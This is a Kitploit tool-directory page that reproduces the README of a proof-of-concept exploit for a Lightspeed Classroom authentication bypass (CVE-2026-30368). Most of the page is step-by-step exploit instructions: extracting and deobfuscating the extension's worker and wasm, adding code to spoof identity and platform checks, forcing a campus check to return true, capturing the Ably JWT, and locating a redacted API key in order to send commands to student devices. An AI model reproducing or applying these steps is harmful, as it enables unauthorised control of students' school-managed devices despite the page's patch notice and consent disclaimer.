Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ls-poc — Proof-of-concept exploit for CVE-2026-30368, demonstrating authentication bypass in Lightspeed Classroom to control student devices via Ably channel. | Kitploit
Tools/GitHubGitHub/truekas/ls-poc
ReconnaissanceExploitationWeb Application ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubtruekas/ls-poc

ls-poc

Proof-of-concept exploit for CVE-2026-30368, demonstrating authentication bypass in Lightspeed Classroom to control student devices via Ably channel.

View Repository
132295 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-30368 Proof of concept

[!IMPORTANT]

This is patched and now requires credentials, use the workaround to perform actions on yourself.

Introduction

CVE-2026-30368 allows an attacker to control student devices via a weak authentication flaw in Lightspeed Classroom management. The POC (poc.js) executes the service worker from the LS Classroom extension in global context. The worker also runs classroom.wasm for some functions. wasm-loader.js loads the worker and extracts the JWT token generated by classroom.wasm. Once it is extracted, it kills the worker, then sends the token to Lightspeed APIs to receive a token used to connect to the target's Ably channel. From there, an attacker could send a command to a student device. The list of commands and lots of more information is in the full writeup located here.

YOU MUST PROVIDE YOUR OWN WORKER.JS, CLASSROOM.WASM, AND MANIFEST.JSON FILES!

These cannot be in this repo because:

  • This repo will definetely be DMCAd by lightspeed if I do
  • The files are different for each district/version

To avoid issues, I recommend using version 5.1.2.1763770643. If you need help adapting newer versions, you are on your own.
You can obtain the worker.js and classroom.wasm files from the Lightspeed extension source code. This can be obtained by logging in with your school account on Chrome on a personal device then extracting the extension source from the extensions folder located in your chrome profile directory. You can also manually download the crx through the update url.

RECOMMENDED METHOD

The easier method of this exploit is to first obtain classroom.wasm from your extension source code, then paste it in the same directory as wasm-only.js, and run:

$ node wasm-only.js

Enter an email and customer ID when prompted. This will connect to the ably channel. Go to line 815 and uncomment what you want to send messages. Credit: ktibow on discord

Set-up wasm loader

Once you have the files simply add them to the cloned repo directory. You will have to go into wasm-loader.js to the getManifest() function and paste your extension manifest there. You will also have to add the extension ID to wasm-loader.js at the top.

Make a copy of worker.js with a filename to your liking. You will need it for later. You will need to run worker.js through webcrack in order to deobfuscate and deminify it to perform the necessary modifications. When doing this make sure you select the "Deobfuscate" and "Unminify" options only. Before pasting the result back into your editor, it is recommended to turn off all LSP servers because they will remove random variables and make the worker break in subsequent stages (looking at you vtsls...)

Patching the Worker

Since the service worker will be ran on node.js (make sure you have it installed) it will need some patching up for it to run properly. JWT extraction logic also needs to be added. Add the following 2 functions at the very top of worker.js:

function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/master/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

These will be used when we modify the wasm go runtime to intercept and modify values used by the LS classroom wasm. Make sure to replace YOUR_EXTENSION_ID with your extension ID and worker_copy.js to the filename of the copy of the original worker.js you made previously. Next add these 2 functions inside the main arrow function (after the (() => {)

chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

Next you need to hardcode IsClassroomActive to true so that you can execute this outside of campus networks. Simply change the function to always return true:

_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

Then, search for syscall/js.valueCall to find the valueCall function that needs to be modified. This is what informs the wasm of a JS value. The 2 values that are intercepted and changed by modifying this function are the path of worker.js (it is changed to the copy of your worker so that the hash check passes) and the value of chrome.identity.getProfileUserInfo.toString is changed to say native code so that the WASM believes it can be trusted when in reality is has been modified at the top of the file. To do this, you need to use the valueCallBefore and valueCallAfter functions that we defined at the top. Modify the valueCall function like so (variable names will vary, but the structure is the same):

"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

Almost done. Lastly, you need to add code to capture the JWT. Search for echoMessages: false and you will find the variable containing the list of headers sent to Ably. Right below that, add this line (the variable names will very likely not be accurate, you can find the same line accessing ablyJwt in authHeaders):

globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

This assigns the JWT to a variable in the global scope so that wasm-loader.js (the "harness" running the service worker) can access it. This concludes the modification of the worker. Make sure all your LSPs are still off. If they turned back on, you may experience problems with undefined variables later on.

Final prep

Move to the poc.js file. At the top, add the email and Customer ID of an account you wish to test on (preferrably your own). Using a customer ID other than your own will throw an error since you need to have the correct worker.js and classroom.wasm files corresponding to that customer ID.

I do not condone use of this on real students without their consent!!! 🙂

The Ably API key in poc.js is redacted due to legal reasons so you will have to find it yourself. Look for it in worker.js, it starts with G52. Your customer ID can also be found in the same place, search for CUSTOMER_ID: or look for a string in this format: XX-XXXX-XXXX. The last 3 digits are usually 000.

Download Tool